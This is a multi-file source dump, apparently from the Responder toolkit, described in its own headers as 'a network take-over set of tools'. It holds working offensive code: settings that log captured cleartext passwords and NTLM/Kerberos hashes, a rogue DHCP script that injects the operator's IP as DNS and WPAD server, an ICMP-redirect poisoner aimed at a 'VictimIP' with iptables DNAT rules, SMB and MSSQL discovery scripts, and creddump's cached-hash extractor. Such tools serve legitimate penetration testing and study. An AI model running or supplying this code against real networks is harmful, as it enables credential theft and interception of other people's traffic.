os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt') 105 | self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt') 106 | self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt') 107 | self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt') 108 | self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt') 109 | self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt') 110 | self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt') 111 | self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt') 112 | 113 | self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt') 114 | self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt') 115 | self.HTTPNTLMv2Log = os.path.join(self.LogDir, 'HTTP-NTLMv2-Client-%s.txt') 116 | self.KerberosLog = os.path.join(self.LogDir, 'MSKerberos-Client-%s.txt') 117 | self.MSSQLNTLMv1Log = os.path.join(self.LogDir, 'MSSQL-NTLMv1-Client-%s.txt') 118 | self.MSSQLNTLMv2Log = os.path.join(self.LogDir, 'MSSQL-NTLMv2-Client-%s.txt') 119 | self.SMBNTLMv1Log = os.path.join(self.LogDir, 'SMB-NTLMv1-Client-%s.txt') 120 | self.SMBNTLMv2Log = os.path.join(self.LogDir, 'SMB-NTLMv2-Client-%s.txt') 121 | self.SMBNTLMSSPv1Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv1-Client-%s.txt') 122 | self.SMBNTLMSSPv2Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv2-Client-%s.txt') 123 | 124 | # HTTP Options 125 | self.Serve_Exe = self.toBool(config.get('HTTP Server', 'Serve-Exe')) 126 | self.Serve_Always = self.toBool(config.get('HTTP Server', 'Serve-Always')) 127 | self.Serve_Html = self.toBool(config.get('HTTP Server', 'Serve-Html')) 128 | self.Html_Filename = config.get('HTTP Server', 'HtmlFilename') 129 | self.Exe_Filename = config.get('HTTP Server', 'ExeFilename') 130 | self.Exe_DlName = config.get('HTTP Server', 'ExeDownloadName') 131 | self.WPAD_Script = config.get('HTTP Server', 'WPADScript') 132 | self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject') 133 | 134 | if not os.path.exists(self.Html_Filename): 135 | print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1) 136 | 137 | if not os.path.exists(self.Exe_Filename): 138 | print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1) 139 | 140 | # SSL Options 141 | self.SSLKey = config.get('HTTPS Server', 'SSLKey') 142 | self.SSLCert = config.get('HTTPS Server', 'SSLCert') 143 | 144 | # Respond to hosts 145 | self.RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) 146 | self.RespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]) 147 | self.DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) 148 | self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]) 149 | 150 | # Auto Ignore List 151 | self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess')) 152 | self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials')) 153 | self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost')) 154 | self.AutoIgnoreList = [] 155 | 156 | # CLI options 157 | self.ExternalIP = options.ExternalIP 158 | self.LM_On_Off = options.LM_On_Off 159 | self.WPAD_On_Off = options.WPAD_On_Off 160 | self.Wredirect = options.Wredirect 161 | self.NBTNSDomain = options.NBTNSDomain 162 | self.Basic = options.Basic 163 | self.Finger_On_Off = options.Finger 164 | self.Interface = Interface 165 | self.OURIP = options.OURIP 166 | self.Force_WPAD_Auth = options.Force_WPAD_Auth 167 | self.Upstream_Proxy = options.Upstream_Proxy 168 | self.AnalyzeMode = options.Analyze 169 | self.Verbose = options.Verbose 170 | self.ProxyAuth_On_Off = options.ProxyAuth_On_Off 171 | self.CommandLine = str(sys.argv) 172 | 173 | if self.ExternalIP: 174 | self.ExternalIPAton = socket.inet_aton(self.ExternalIP) 175 | 176 | if self.HtmlToInject is None: 177 | self.HtmlToInject = '' 178 | 179 | self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) 180 | 181 | if self.Interface == "ALL": 182 | self.Bind_To_ALL = True 183 | else: 184 | self.Bind_To_ALL = False 185 | 186 | if self.Interface == "ALL": 187 | self.IP_aton = socket.inet_aton(self.OURIP) 188 | else: 189 | self.IP_aton = socket.inet_aton(self.Bind_To) 190 | 191 | self.Os_version = sys.platform 192 | 193 | # Set up Challenge 194 | self.NumChal = config.get('Responder Core', 'Challenge') 195 | 196 | if len(self.NumChal) is not 16: 197 | print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) 198 | sys.exit(-1) 199 | 200 | self.Challenge = "" 201 | for i in range(0, len(self.NumChal),2): 202 | self.Challenge += self.NumChal[i:i+2].decode("hex") 203 | 204 | # Set up logging 205 | logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') 206 | logging.warning('Responder Started: %s' % self.CommandLine) 207 | 208 | Formatter = logging.Formatter('%(asctime)s - %(message)s') 209 | PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w') 210 | ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a') 211 | PLog_Handler.setLevel(logging.INFO) 212 | ALog_Handler.setLevel(logging.INFO) 213 | PLog_Handler.setFormatter(Formatter) 214 | ALog_Handler.setFormatter(Formatter) 215 | 216 | self.PoisonersLogger = logging.getLogger('Poisoners Log') 217 | self.PoisonersLogger.addHandler(PLog_Handler) 218 | 219 | self.AnalyzeLogger = logging.getLogger('Analyze Log') 220 | self.AnalyzeLogger.addHandler(ALog_Handler) 221 | 222 | 223 | def init(): 224 | global Config 225 | Config = Settings() 226 | -------------------------------------------------------------------------------- /src/tools/BrowserListener.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import sys 18 | import os 19 | import thread 20 | 21 | BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) 22 | sys.path.insert(0, BASEDIR) 23 | 24 | from servers.Browser import WorkstationFingerPrint, RequestType, RAPThisDomain, RapFinger 25 | from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler 26 | from threading import Lock 27 | from utils import * 28 | 29 | def ParseRoles(data): 30 | if len(data) != 4: 31 | return '' 32 | 33 | AllRoles = { 34 | 'Workstation': (ord(data[0]) >> 0) & 1, 35 | 'Server': (ord(data[0]) >> 1) & 1, 36 | 'SQL': (ord(data[0]) >> 2) & 1, 37 | 'Domain Controller': (ord(data[0]) >> 3) & 1, 38 | 'Backup Controller': (ord(data[0]) >> 4) & 1, 39 | 'Time Source': (ord(data[0]) >> 5) & 1, 40 | 'Apple': (ord(data[0]) >> 6) & 1, 41 | 'Novell': (ord(data[0]) >> 7) & 1, 42 | 'Member': (ord(data[1]) >> 0) & 1, 43 | 'Print': (ord(data[1]) >> 1) & 1, 44 | 'Dialin': (ord(data[1]) >> 2) & 1, 45 | 'Xenix': (ord(data[1]) >> 3) & 1, 46 | 'NT Workstation': (ord(data[1]) >> 4) & 1, 47 | 'WfW': (ord(data[1]) >> 5) & 1, 48 | 'Unused': (ord(data[1]) >> 6) & 1, 49 | 'NT Server': (ord(data[1]) >> 7) & 1, 50 | 'Potential Browser': (ord(data[2]) >> 0) & 1, 51 | 'Backup Browser': (ord(data[2]) >> 1) & 1, 52 | 'Master Browser': (ord(data[2]) >> 2) & 1, 53 | 'Domain Master Browser': (ord(data[2]) >> 3) & 1, 54 | 'OSF': (ord(data[2]) >> 4) & 1, 55 | 'VMS': (ord(data[2]) >> 5) & 1, 56 | 'Windows 95+': (ord(data[2]) >> 6) & 1, 57 | 'DFS': (ord(data[2]) >> 7) & 1, 58 | 'Local': (ord(data[3]) >> 6) & 1, 59 | 'Domain Enum': (ord(data[3]) >> 7) & 1, 60 | } 61 | 62 | return ', '.join(k for k,v in AllRoles.items() if v == 1) 63 | 64 | 65 | class BrowserListener(BaseRequestHandler): 66 | def handle(self): 67 | data, socket = self.request 68 | 69 | lock = Lock() 70 | lock.acquire() 71 | 72 | DataOffset = struct.unpack('. 17 | 18 | # This script will try to auto-detect network parameters 19 | # to run the rogue DHCP server, to inject only your IP 20 | # address as the primary DNS server and WPAD server and 21 | # leave everything else normal. 22 | 23 | if [ -z $1 ]; then 24 | echo "usage: $0 " 25 | exit 26 | fi 27 | 28 | if [ $EUID -ne 0 ]; then 29 | echo "Must be run as root." 30 | exit 31 | fi 32 | 33 | if [ ! -d "/sys/class/net/$1" ]; then 34 | echo "Interface does not exist." 35 | exit 36 | fi 37 | 38 | INTF=$1 39 | PATH="$PATH:/sbin" 40 | IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'` 41 | NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'` 42 | DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'` 43 | DNS1=$IPADDR 44 | DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'` 45 | ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'` 46 | WPADSTR="http://$IPADDR/wpad.dat" 47 | if [ -z "$DOMAIN" ]; then 48 | DOMAIN=" " 49 | fi 50 | 51 | echo "Running with parameters:" 52 | echo "INTERFACE: $INTF" 53 | echo "IP ADDR: $IPADDR" 54 | echo "NETMAST: $NETMASK" 55 | echo "ROUTER IP: $ROUTER" 56 | echo "DNS1 IP: $DNS1" 57 | echo "DNS2 IP: $DNS2" 58 | echo "WPAD: $WPADSTR" 59 | echo "" 60 | 61 | 62 | echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\" 63 | python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\" 64 | -------------------------------------------------------------------------------- /src/tools/FindSMB2UPTime.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import sys 18 | import os 19 | import datetime 20 | import struct 21 | import socket 22 | 23 | sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))) 24 | from packets import SMB2Header, SMB2Nego, SMB2NegoData 25 | 26 | def GetBootTime(data): 27 | Filetime = int(struct.unpack('i", len(Packet)) + Packet 52 | s.send(Buffer) 53 | 54 | try: 55 | data = s.recv(1024) 56 | if data[4:5] == "\xff": 57 | print "This host doesn't support SMBv2" 58 | if data[4:5] == "\xfe": 59 | IsDCVuln(GetBootTime(data[116:124])) 60 | except Exception: 61 | s.close() 62 | raise 63 | 64 | if __name__ == "__main__": 65 | if len(sys.argv)<=1: 66 | sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address') 67 | host = sys.argv[1],445 68 | run(host) 69 | -------------------------------------------------------------------------------- /src/tools/FindSQLSrv.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from socket import * 18 | 19 | print 'MSSQL Server Finder 0.1' 20 | 21 | s = socket(AF_INET,SOCK_DGRAM) 22 | s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) 23 | s.settimeout(2) 24 | s.sendto('\x02',('255.255.255.255',1434)) 25 | 26 | try: 27 | while 1: 28 | data, address = s.recvfrom(8092) 29 | if not data: 30 | break 31 | else: 32 | print "===============================================================" 33 | print "Host details:",address[0] 34 | print data[2:] 35 | print "===============================================================" 36 | print "" 37 | except: 38 | pass 39 | 40 | 41 | -------------------------------------------------------------------------------- /src/tools/Icmp-Redirect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import socket 18 | import struct 19 | import optparse 20 | import pipes 21 | import sys 22 | from socket import * 23 | sys.path.append('../') 24 | from odict import OrderedDict 25 | from random import randrange 26 | from time import sleep 27 | from subprocess import call 28 | from packets import Packet 29 | 30 | parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', 31 | prog=sys.argv[0], 32 | ) 33 | parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") 34 | parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr") 35 | parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP") 36 | parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost") 37 | parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2") 38 | parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") 39 | parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr") 40 | options, args = parser.parse_args() 41 | 42 | if options.OURIP is None: 43 | print "-i mandatory option is missing.\n" 44 | parser.print_help() 45 | exit(-1) 46 | elif options.OriginalGwAddr is None: 47 | print "-g mandatory option is missing, please provide the original gateway address.\n" 48 | parser.print_help() 49 | exit(-1) 50 | elif options.VictimIP is None: 51 | print "-t mandatory option is missing, please provide a target.\n" 52 | parser.print_help() 53 | exit(-1) 54 | elif options.Interface is None: 55 | print "-I mandatory option is missing, please provide your network interface.\n" 56 | parser.print_help() 57 | exit(-1) 58 | elif options.ToThisHost is None: 59 | print "-r mandatory option is missing, please provide a destination target.\n" 60 | parser.print_help() 61 | exit(-1) 62 | 63 | if options.AlternateGwAddr is None: 64 | AlternateGwAddr = options.OURIP 65 | 66 | #Setting some vars. 67 | OURIP = options.OURIP 68 | OriginalGwAddr = options.OriginalGwAddr 69 | AlternateGwAddr = options.AlternateGwAddr 70 | VictimIP = options.VictimIP 71 | ToThisHost = options.ToThisHost 72 | ToThisHost2 = options.ToThisHost2 73 | Interface = options.Interface 74 | 75 | def Show_Help(ExtraHelpData): 76 | print("\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n") 77 | print(ExtraHelpData) 78 | 79 | MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP) 80 | 81 | def GenCheckSum(data): 82 | s = 0 83 | for i in range(0, len(data), 2): 84 | q = ord(data[i]) + (ord(data[i+1]) << 8) 85 | f = s + q 86 | s = (f & 0xffff) + (f >> 16) 87 | return struct.pack("H", len(CalculateLen)) 149 | # Then CheckSum this packet 150 | CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"]) 151 | self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) 152 | 153 | class ICMPRedir(Packet): 154 | fields = OrderedDict([ 155 | ("Type", "\x05"), 156 | ("OpCode", "\x01"), 157 | ("CheckSum", "\x00\x00"), 158 | ("GwAddr", ""), 159 | ("Data", ""), 160 | ]) 161 | 162 | def calculate(self): 163 | self.fields["GwAddr"] = inet_aton(OURIP) 164 | CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"]) 165 | self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) 166 | 167 | class DummyUDP(Packet): 168 | fields = OrderedDict([ 169 | ("SrcPort", "\x00\x35"), #port 53 170 | ("DstPort", "\x00\x35"), 171 | ("Len", "\x00\x08"), #Always 8 in this case. 172 | ("CheckSum", "\x00\x00"), #CheckSum disabled. 173 | ]) 174 | 175 | def ReceiveArpFrame(DstAddr): 176 | s = socket(AF_PACKET, SOCK_RAW) 177 | s.settimeout(5) 178 | Protocol = 0x0806 179 | s.bind((Interface, Protocol)) 180 | OurMac = s.getsockname()[4] 181 | Eth = EthARP(SrcMac=OurMac) 182 | Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac) 183 | Arp.calculate() 184 | final = str(Eth)+str(Arp) 185 | try: 186 | s.send(final) 187 | data = s.recv(1024) 188 | DstMac = data[22:28] 189 | DestMac = DstMac.encode('hex') 190 | PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) 191 | return PrintMac,DstMac 192 | except: 193 | print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) 194 | exit(1) 195 | 196 | def IcmpRedirectSock(DestinationIP): 197 | PrintMac,DestMac = ReceiveArpFrame(VictimIP) 198 | print '[ARP]Target Mac address is :',PrintMac 199 | PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr) 200 | print '[ARP]Router Mac address is :',PrintMac 201 | s = socket(AF_PACKET, SOCK_RAW) 202 | Protocol = 0x0800 203 | s.bind((Interface, Protocol)) 204 | Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac) 205 | IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP())) 206 | IPPackUDP.calculate() 207 | ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP)) 208 | ICMPPack.calculate() 209 | IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack)) 210 | IPPack.calculate() 211 | final = str(Eth)+str(IPPack) 212 | s.send(final) 213 | print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP) 214 | 215 | def FindWhatToDo(ToThisHost2): 216 | if ToThisHost2 != None: 217 | Show_Help('Hit CRTL-C to kill this script') 218 | RunThisInLoop(ToThisHost, ToThisHost2,OURIP) 219 | if ToThisHost2 == None: 220 | Show_Help(MoreHelp) 221 | IcmpRedirectSock(DestinationIP=ToThisHost) 222 | exit() 223 | 224 | def RunThisInLoop(host, host2, ip): 225 | dns1 = pipes.quote(host) 226 | dns2 = pipes.quote(host2) 227 | ouripadd = pipes.quote(ip) 228 | call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) 229 | call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) 230 | print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers." 231 | while True: 232 | IcmpRedirectSock(DestinationIP=dns1) 233 | IcmpRedirectSock(DestinationIP=dns2) 234 | print "[+]Repoisoning the target in 8 minutes..." 235 | sleep(480) 236 | 237 | FindWhatToDo(ToThisHost2) 238 | -------------------------------------------------------------------------------- /src/tools/MultiRelay/SMBFinger/Finger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import re,sys,socket,struct 18 | from socket import * 19 | from odict import OrderedDict 20 | 21 | __version__ = "0.3" 22 | Timeout = 0.5 23 | class Packet(): 24 | fields = OrderedDict([ 25 | ]) 26 | def __init__(self, **kw): 27 | self.fields = OrderedDict(self.__class__.fields) 28 | for k,v in kw.items(): 29 | if callable(v): 30 | self.fields[k] = v(self.fields[k]) 31 | else: 32 | self.fields[k] = v 33 | def __str__(self): 34 | return "".join(map(str, self.fields.values())) 35 | 36 | def longueur(payload): 37 | length = struct.pack(">i", len(''.join(payload))) 38 | return length 39 | 40 | class SMBHeader(Packet): 41 | fields = OrderedDict([ 42 | ("proto", "\xff\x53\x4d\x42"), 43 | ("cmd", "\x72"), 44 | ("error-code", "\x00\x00\x00\x00" ), 45 | ("flag1", "\x00"), 46 | ("flag2", "\x00\x00"), 47 | ("pidhigh", "\x00\x00"), 48 | ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), 49 | ("reserved", "\x00\x00"), 50 | ("tid", "\x00\x00"), 51 | ("pid", "\x00\x00"), 52 | ("uid", "\x00\x00"), 53 | ("mid", "\x00\x00"), 54 | ]) 55 | 56 | class SMBNego(Packet): 57 | fields = OrderedDict([ 58 | ("Wordcount", "\x00"), 59 | ("Bcc", "\x62\x00"), 60 | ("Data", "") 61 | ]) 62 | 63 | def calculate(self): 64 | self.fields["Bcc"] = struct.pack(" 1: 7 | raise TypeError('expected at most 1 arguments, got %d' % len(args)) 8 | try: 9 | self.__end 10 | except AttributeError: 11 | self.clear() 12 | self.update(*args, **kwds) 13 | 14 | def clear(self): 15 | self.__end = end = [] 16 | end += [None, end, end] 17 | self.__map = {} 18 | dict.clear(self) 19 | 20 | def __setitem__(self, key, value): 21 | if key not in self: 22 | end = self.__end 23 | curr = end[1] 24 | curr[2] = end[1] = self.__map[key] = [key, curr, end] 25 | dict.__setitem__(self, key, value) 26 | 27 | def __delitem__(self, key): 28 | dict.__delitem__(self, key) 29 | key, prev, next = self.__map.pop(key) 30 | prev[2] = next 31 | next[1] = prev 32 | 33 | def __iter__(self): 34 | end = self.__end 35 | curr = end[2] 36 | while curr is not end: 37 | yield curr[0] 38 | curr = curr[2] 39 | 40 | def __reversed__(self): 41 | end = self.__end 42 | curr = end[1] 43 | while curr is not end: 44 | yield curr[0] 45 | curr = curr[1] 46 | 47 | def popitem(self, last=True): 48 | if not self: 49 | raise KeyError('dictionary is empty') 50 | if last: 51 | key = reversed(self).next() 52 | else: 53 | key = iter(self).next() 54 | value = self.pop(key) 55 | return key, value 56 | 57 | def __reduce__(self): 58 | items = [[k, self[k]] for k in self] 59 | tmp = self.__map, self.__end 60 | del self.__map, self.__end 61 | inst_dict = vars(self).copy() 62 | self.__map, self.__end = tmp 63 | if inst_dict: 64 | return (self.__class__, (items,), inst_dict) 65 | return self.__class__, (items,) 66 | 67 | def keys(self): 68 | return list(self) 69 | 70 | setdefault = DictMixin.setdefault 71 | update = DictMixin.update 72 | pop = DictMixin.pop 73 | values = DictMixin.values 74 | items = DictMixin.items 75 | iterkeys = DictMixin.iterkeys 76 | itervalues = DictMixin.itervalues 77 | iteritems = DictMixin.iteritems 78 | 79 | def __repr__(self): 80 | if not self: 81 | return '%s()' % (self.__class__.__name__,) 82 | return '%s(%r)' % (self.__class__.__name__, self.items()) 83 | 84 | def copy(self): 85 | return self.__class__(self) 86 | 87 | @classmethod 88 | def fromkeys(cls, iterable, value=None): 89 | d = cls() 90 | for key in iterable: 91 | d[key] = value 92 | return d 93 | 94 | def __eq__(self, other): 95 | if isinstance(other, OrderedDict): 96 | return len(self)==len(other) and \ 97 | min(p==q for p, q in zip(self.items(), other.items())) 98 | return dict.__eq__(self, other) 99 | 100 | def __ne__(self, other): 101 | return not self == other 102 | 103 | 104 | if __name__ == '__main__': 105 | d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)]) 106 | assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh'] 107 | -------------------------------------------------------------------------------- /src/tools/MultiRelay/creddump/CHANGELOG: -------------------------------------------------------------------------------- 1 | Version: 0.3 Date: 8/1/2012 2 | 3 | * Fixed LM and NTLM Hash Corruption issue. Thanks to Jonathan Claudius. 4 | Closes Issue 3. 5 | 6 | Version: 0.2 Date: 2/24/2011 7 | 8 | * Fixed issue with wrong format specifier being used (L instead of I), which 9 | caused creddump to fail on 64-bit systems. 10 | -------------------------------------------------------------------------------- /src/tools/MultiRelay/creddump/README: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/src/tools/MultiRelay/creddump/README -------------------------------------------------------------------------------- /src/tools/MultiRelay/creddump/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/src/tools/MultiRelay/creddump/__init__.py -------------------------------------------------------------------------------- /src/tools/MultiRelay/creddump/cachedump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This file is part of creddump. 4 | # 5 | # creddump is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # creddump is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with creddump. If not, see . 17 | 18 | """ 19 | @author: Brendan Dolan-Gavitt 20 | @license: GNU General Public License 2.0 or later 21 | @contact: bdolangavitt@wesleyan.edu 22 | """ 23 | 24 | 25 | import sys 26 | from framework.win32.domcachedump import dump_file_hashes 27 | 28 | if len(sys.argv) < 3: 29 | print "usage: %s bootkey " % sys.argv[0] 30 | sys.exit(1) 31 | 32 | dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2]) 33 | 34 | -------------------------------------------------------------------------------- /src/tools/MultiRelay/creddump/framework/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/src/tools/MultiRelay/creddump/framework/__init__.py -------------------------------------------------------------------------------- /src/tools/MultiRelay/creddump/framework/win32/__init__.py: -------------------------------------------------------------------------------- 